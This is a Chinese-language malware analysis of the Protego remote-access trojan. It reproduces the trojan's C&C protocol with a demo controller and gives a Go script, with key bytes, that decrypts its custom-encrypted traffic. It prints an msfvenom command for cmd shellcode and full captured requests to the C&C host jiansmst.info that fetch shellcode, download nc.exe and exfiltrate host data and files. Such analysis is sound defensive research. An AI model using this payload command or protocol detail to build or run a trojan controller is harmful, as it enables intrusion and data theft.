攻击场景复现

为了能够更好的还原Protego远控木马的攻击利用场景,笔者尝试模拟构建了Protego远控木马的C&C端Demo程序,目前可有效的与Protego远控木马进行交互,相关运行效果如下:

inmem指令_远程加载执行shellcode

Protego远控木马除了支持常见的远控指令外,还支持远程加载执行shellcode等功能,通过测试,笔者目前可有效复现其远程加载执行shellcode的功能行为。

当Protego远控木马接收到inmem指令后,Protego远控木马将外联下载并执行shellcode,测试环境中,笔者使用的shellcode功能为反弹cmd,相关运行效果如下:

「备注:使用msfvenom -a x86 -p windows/exec CMD="cmd" EXITFUNC=thread -f hex命令即可生成反弹cmd的shellcode载荷。」

控制端截图如下:

被控端截图如下:

download指令_从被控端下载指定文件

Protego远控木马还支持从被控端下载指定文件,相关运行效果如下:

控制端截图如下:

被控端截图如下:

通信数据解密

由于远控木马默认使用的通信方式是TLS,因此,若想在测试环境中查看其通信数据,除将木马修改为HTTP通信外,只有尝试对其通信数据进行TLS解密。

为避免修改其通信方式后,木马的执行逻辑会有所不同,最好的方式即为完整复现其实战场景中会使用的通信模式。

TLS解密

由于此远控木马是NET程序编写的,因此可采用笔者以前的《适用于不支持指定密钥套件的NET程序的TLS解密方法》向远控木马指定在TLS通信过程中将使用的密码套件,指定密码套件为:TLS_RSA_WITH_AES_128_CBC_SHA256,相关截图如下:

然后,我们即可使用私钥对远控木马通信进行解密了。

TLS通信数据包截图如下:

使用私钥解密TLS通信后的数据包截图如下:

自定义算法解密

在解密第一层TLS通信数据后,我们即可看到远控木马的实际通信数据,但由于此木马在通信过程中使用了自定义加解密算法,因此,我们可尝试编写解密脚本,对其第二层自定义加密数据进行解密。

在这里,笔者尝试使用Golang语言编写了一个解密Protego远控木马第二层自定义加密数据的解密脚本,相关解密效果如下:

解密脚本代码如下:

package main

import (
 "encoding/base64"
 "fmt"
 "os"
)

func main() {
 args := os.Args

 if len(args) > 1 {
  fmt.Println("待解密数据:", args[1])
  fmt.Println("解密后数据:", Decode(args[1]))
 } else {
  fmt.Println("没有提供命令行参数")
 }
}

func Base64_Decode(encodedMessage string) []byte {
 decodedMessage, err := base64.StdEncoding.DecodeString(encodedMessage)
 if err != nil {
  //fmt.Println("Base64_Decode Error:", err)
  return nil
 }
 return decodedMessage
}

func Charm(qwe string) []byte {
 a1 := Base64_Decode(qwe)
 //a2 := FerulaE([]byte("+_I-I3 |<||\\|9 |5 |3/-\\c|<"), a1)

 a2 := FerulaE([]byte{0x2B, 0x5F, 0x49, 0x2D, 0x49, 0x33, 0x20, 0x7C, 0x3C, 0x7C, 0x7C, 0x5C, 0x7C, 0x39, 0x20, 0x7C, 0x35, 0x20, 0x7C, 0x33, 0x2F, 0x2D, 0x5C, 0x63, 0x7C, 0x3C}, a1)
 a3 := Revelio(a2)
 return a3
}

func Decode(input string) string {
 encodedString := Charm(input)
 text := Base64_Decode(string(encodedString))
 return string(text)
}

func Geminio(hel []byte) []byte {
 array := make([]byte, len(hel))
 for i := 0; i < len(hel); i++ {
  j := int(hel[i])
  num := 2
  for j > 1 {
   if j%num == 0 {
    for j%num == 0 {
     j /= num
    }
   }
   num++
  }
  array[i] = byte(num - 1)
 }
 return array
}

func Revelio(chel []byte) []byte {
 chars := []rune{'0', '|', '\\', '|', '3', ' ', '|', '>', '|', '3', 'c', '3'}
 array := Geminio([]byte(string(chars)))
 array2 := make([]byte, len(chel))
 array3 := make([]byte, len(array))
 copy(array3, array)

 // Sort array3 in descending order
 for i := 0; i < len(array3); i++ {
  for j := i + 1; j < len(array3); j++ {
   if array3[i] < array3[j] {
    array3[i], array3[j] = array3[j], array3[i]
   }
  }
 }

 for i := 0; i < len(array); i++ {
  for j := 0; j < len(chel); j++ {
   var num int
   if i == 0 {
    num = int(chel[j]) - int(array[i]) - int(array3[i])
   } else {
    num = int(array2[j]) - int(array[i]) - int(array3[i])
   }
   if num < 0 {
    num += 255
   }
   if num < 0 {
    num += 255
   }
   array2[j] = byte(num)
  }
 }
 return array2
}

func FerulaE(pwd []byte, data []byte) []byte {
 var array [256]int
 var array2 [256]int
 array3 := make([]byte, len(data))

 for i := 0; i < 256; i++ {
  array[i] = int(pwd[i%len(pwd)])
  array2[i] = i
 }

 num := 0
 for i := 0; i < 256; i++ {
  num = (num + array2[i] + array[i]) % 256
  array2[i], array2[num] = array2[num], array2[i]
 }

 num3 := 0
 num = 0
 for i := 0; i < len(data); i++ {
  num3 = (num3 + 1) % 256
  num += array2[num3]
  num = num % 256
  array2[num3], array2[num] = array2[num], array2[num3]
  num4 := array2[(array2[num3]+array2[num])%256]
  array3[i] = data[i] ^ byte(num4)
 }

 return array3
}

通信模型剖析

通过梳理,根据通信请求载荷中的键值名的不同,笔者将此远控木马的通信模型分为以下几种不同的情况:

  • 木马上线:携带sosid、aryyr、slid键值,其中aryyr=bhiii为固定值

  • 上传主机信息:携带sosid、slid、sys、madd、sls、cwd、prsid、rt、pubip键值

  • 上传主机应用信息:携带sosid、slid、aunty、uncle键值

  • 心跳包,获取远控指令:携带sltrg键值

  • 响应远控指令通信:

    • 下载成功后的响应结果含有固定键值:aam=ackk

    • 响应结果含有固定键值:cate=dsagvsa

    • 直接返回指令执行结果:ping、pwd、whoami、dir、ipconfig、cat、ps等指令

    • 指定C&C其他URL:inmem指令

    • 指定第三方URL:downexe指令、upload指令

    • 下载文件:download、screenshot

详细通信模式情况如下:

木马上线

  • 上线请求

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 136
Expect: 100-continue
Connection: Keep-Alive

sosid=HGZ8I4y9haqiOEvxDCSXyddMlrnfJwO27TDEOg==&aryyr=bhiii&slid=Z3FzXIup78/ZS1H1dgaQl9d/yOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg==

#sosid解密后为:N1t5XaPk1MwK25HfFjq
#aryyr=bhiii,固定值
#slid解密后为:9D0B4D56-7933-3632-1348-7A674694302F

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 07 Nov 2024 00:46:16 GMT
Content-Length: 12

BC4XEhUOGTI=

#BC4XEhUOGTI=数据解密后为aaaaaaaa,随意填写的数据,此数据将用做后续异或算法密钥,但样本中未使用此密钥

上传主机信息

  • 上传主机基本信息:系统版本、主机名、用户名、木马路径、木马进程PID、是否管理员权限、IP地址等

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 387
Expect: 100-continue

sosid=HGZ8I4y9haqiOEvxDCSXyddMlrnfJwO27TDEOg==&slid=Z3FzXIup78/ZS1H1dgaQl9d/yOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg==&sys=Hi4WXvDM9OGsbjnxdU/pw6BA6tTWKmuO70nXSw==&madd=YgEMf4ni78KiJAm7dSD1ztNNt6w=&sls=YgEMf4ni78KiJAm7dSD1ztNNt6zdQ3e87E61cg==&cwd=YVYScPS766asUS7aCSP5kaNZ9cOnQweN7xLTcQTGdXPoO0X6HzcpcR/HGvgkWooA&prsid=ZlZzWYys+Nc=&rt=Yml8YPnhkNc=&pubip=aQB/Ho+q8ZrZXUf0djb6kNcnyKU=

#sosid解密后为:N1t5XaPk1MwK25HfFjq
#slid解密后为:9D0B4D56-7933-3632-1348-7A674694302F  
#sys解密后为:Windows 10 Enterprise
#madd解密后为:DESKTOP-A11RBL8
#sls解密后为:DESKTOP-A11RBL8\admin
#cwd解密后为:C:\Users\admin\Desktop\Protego.exe
#prsid解密后为:7436
#rt解密后为:False
#pubip解密后为:192.168.64.1

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 07 Nov 2024 00:46:23 GMT
Content-Length: 0

心跳请求_获取远控指令

通过分析,发现系统会根据wTime配置信息循环发起心跳请求,用于获取远控指令,若成功获取远控指令,则将远控指令响应结果返回至C&C。

通过对Protego远控木马的远控指令进行详细剖析,从通信模型上进行区分,发现Protego远控木马的远控指令通信模型主要分为三类:

  • 直接返回指令执行结果:ping、pwd、whoami、dir、ipconfig、cat、ps等指令

    • 响应结果含有固定字符串:cate=dsagvsa

  • 指定C&C其他URL:inmem指令

  • 指定第三方URL:downexe指令、upload指令

    • 下载成功后的响应结果含有固定字符串:aam=ackk

  • 下载文件:download、screenshot

dir指令

  • 第一段数据:获取远控指令

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 86
Expect: 100-continue

sltrg=Z3FzXIup78%2fZS1H1dgaQl9d%2fyOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg%3d%3d

#sltrg解密后为:9D0B4D56-7933-3632-1348-7A674694302F,系统GUID值

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 07 Nov 2024 01:31:04 GMT
Content-Length: 8

GgMWWg==

#解密后为:dir
  • 第二段数据:返回命令执行结果

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 737
Expect: 100-continue

sosid=Z3FzXIup78/ZS1H1dgaQl9d/yOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg==&slrspn=YVYScPS766asUS7aCSP5kaNZ9cOnQweN7xLTcQTGdRnpOlqFCEtkcmHaZbgyeftILVH1KWMxEwgxmwqmFzAAugkA4krIp605Mrywd4wI6A9qmTYd1IU6x1GEGHK%2bM6rvVlSb652GD3B2tATAr02nG%2fuTO%2fqTscnRR9Et9zBmWrvlG4diZViPjz5goYeU8fPXOC6iN4pb7Y8AnKirIY7ZL3ETnOdxfcMj%2fkgi3Rmh82UUKE%2by2jJF0IL0Lp%2bj3OTXXwxWNCplFZODUE7ByVR%2bHVw5ugr07WcH5LWSPR2BgG6Q%2fFcSh%2fioppG%2bYJ33709IxgmweffURRDUz%2bEnEUUCUZ0YcdjpEVMTkEViQkLOaNh1jb9gyo4fAXBUIVJZfFVpApO3tmfy%2f5gy%2fZQedq9nQyJiP3esmNMuoGZavpJy7hECMrnBeKSqvg8MTe8UazlsH6WDwwePLXP9rGUc1jtR%2f6pNdSNAQZLt5IuKwd2GCR6aPfQJsOkLPyvCOH4K15sV7wYIeCxVjEaG6%2bTrKu9pveDk%2f2Cnb2W2va2MxjxEYMGHdrF8sqgPCIaECsa94vcanaBV3yHEu1zHsC4rsXIeJ3HBSk0%3d&cate=dsagvsa

#sosid解密后为:9D0B4D56-7933-3632-1348-7A674694302F  
#slrspn解密后为:
#C:\Users\admin\Desktop\dnSpy-net-win32
#C:\Users\admin\Desktop\IDA8.3
#C:\Users\admin\Desktop\111.txt
#C:\Users\admin\Desktop\apateDNS.exe
#C:\Users\admin\Desktop\dnSpy-net-win32.zip
#C:\Users\admin\Desktop\IDA SDK.zip
#C:\Users\admin\Desktop\Process Hacker 2.lnk
#C:\Users\admin\Desktop\Protego.exe
#C:\Users\admin\Desktop\Wireshark.lnk
#cate=dsagvsa,固定值

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 07 Nov 2024 01:31:04 GMT
Content-Length: 0

inmem指令

  • 第一段会话:获取远控指令

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 86
Expect: 100-continue

sltrg=Z3FzXIup78%2fZS1H1dgaQl9d%2fyOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg%3d%3d

#sltrg解密后为:9D0B4D56-7933-3632-1348-7A674694302F,系统GUID值

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 05 Nov 2024 15:56:29 GMT
Content-Length: 32

EXNvX/C8za2nFC7OCiOjrqsE8dvfTWzC

#解密后为:inmem _shellcode
  • 第二段会话:外联下载shellcode

GET /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php_shellcode HTTP/1.1
Host: jiansmst.info


HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 05 Nov 2024 15:56:29 GMT
Content-Length: 344

RwsbEJvS/NOmPk7NdS/pprsH+e/MbXDS9xDYUh7rJBWXQTDRbyJNCHmuPIwwSpZ2IQ70L3xbHh5Vy37/E1RW43wGsCq60ZVhR8nYefw7vC1lw3gU3ukwqT+3b1GuaKrpOGrAkf/ICHEiiwa6jx2madGtCZiFp7a/RbBbtyZpVcL9FvNGd0OPmw0p1Z3g8tCJPUT3f9JIgOkbvMT3MP7aIAg/nLV6ILUh+l4X2g2PlBkBFE6NyjQM1Z+MbJ3H1624PSA6Clw9EaWReEjf5hc1MUElxg/4ggFB+tS3HmCz6GuH5EZp9+P0i73hD7uB40s3pn+hWMXARlLW0oIZBjJ1Gg==

#解密后载荷为:弹cmd的shellcode

downexe指令

  • 第一段会话:获取远控指令

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 86
Expect: 100-continue

sltrg=Z3FzXIup78%2fZS1H1dgaQl9d%2fyOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg%3d%3d

#sltrg解密后为:9D0B4D56-7933-3632-1348-7A674694302F

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 05 Nov 2024 11:29:34 GMT
Content-Length: 64

GgNrIPimk96lNDrOHFT5ktVP8O6gMBKOmlvcDXDbMVCdTUCCYWpYRR/HGvgkWooA

#解密后数据为:downexe http://192.168.64.1/nc.exe
  • 第二段会话:外联下载

GET /nc.exe HTTP/1.1
Host: 192.168.64.1
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 05 Nov 2024 11:55:05 GMT
Transfer-Encoding: chunked

10c2cHHITApvS......加密数据......
  • 第三段会话:返回下载成功信息

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 53
Expect: 100-continue

sam=HGZ8I4y9haqiOEvxDCSXyddMlrnfJwO27TDEOg==&aam=ackk

#sam解密后为:N1t5XaPk1MwK25HfFjq  (随机sosid值)
#aam=ackk,固定值

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 05 Nov 2024 11:55:05 GMT
Content-Length: 0

download指令

通过分析,梳理download指令的通信模型如下:「(备注:screenshot指令的通信模型与download指令的通信模型相同)」

  • 第一段会话:获取远控指令

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 86
Expect: 100-continue

sltrg=Z3FzXIup78%2fZS1H1dgaQl9d%2fyOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg%3d%3d

#sltrg解密后为:9D0B4D56-7933-3632-1348-7A674694302F

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 05 Nov 2024 15:10:23 GMT
Content-Length: 72

GgNrIPimtZymSCnGcQabvqxe7tTWKn+k507Tcwa3MAGZUSKAFGtHcWisO7xbJ5JIRAOUDw==

#解密后数据为:download C:\Users\admin\Desktop\111.txt
  • 第二段会话:下载指定文件

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 2109
Expect: 100-continue

syst=khjop&sosid=Z3FzXIup78/ZS1H1dgaQl9d/yOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg==&nmef=C:\Users\admin\AppData\Local\Temp\NxclA024MetxnnrYS8q_HGoaafjO4J3aXSqvCiT50aBD9enaMnzL7TDEOg%3d%3d_111.txt_2hhTYV9zF0mPriuUIxTuag.zip&dta=HQERD5j...加密数据...yNlYFECZvE=&ghack=0

#syst=khjop,固定值
#sosid值解密后为:9D0B4D56-7933-3632-1348-7A674694302F,系统GUID值
#nmef值为:%temp%目录 + sosid值 + '_' + 加密后的sosid值  + '_' + 原始文件名  + '_' + 编码后的GUID值 + '.zip'
#dta值为:压缩文件加密后的载荷内容
#ghack值,0为还未传输完

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 05 Nov 2024 15:10:23 GMT
Content-Length: 0
  • 下载完成标志

POST /bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: jiansmst.info
Content-Length: 245
Expect: 100-continue

syst=khjop&sosid=Z3FzXIup78/ZS1H1dgaQl9d/yOqjJnyOmk3cdXHEQi6dflH4YxJEDRzeZb5bV5UaIRjtOg==&nmef=C:\Users\admin\AppData\Local\Temp\NxclA024MetxnnrYS8q_HGoaafjO4J3aXSqvCiT50aBD9enaMnzL7TDEOg%3d%3d_111.txt_2hhTYV9zF0mPriuUIxTuag.zip&dta=none&ghack=1

#syst=khjop,固定值
#sosid值解密后为:9D0B4D56-7933-3632-1348-7A674694302F,系统GUID值
#nmef值为:%temp%目录 + sosid值 + '_' + 加密后的sosid值  + '_' + 原始文件名  + '_' + 编码后的GUID值 + '.zip'
#dta值,none为传输完成
#ghack值,1为传输完成

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 05 Nov 2024 15:10:23 GMT
Content-Length: 0

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。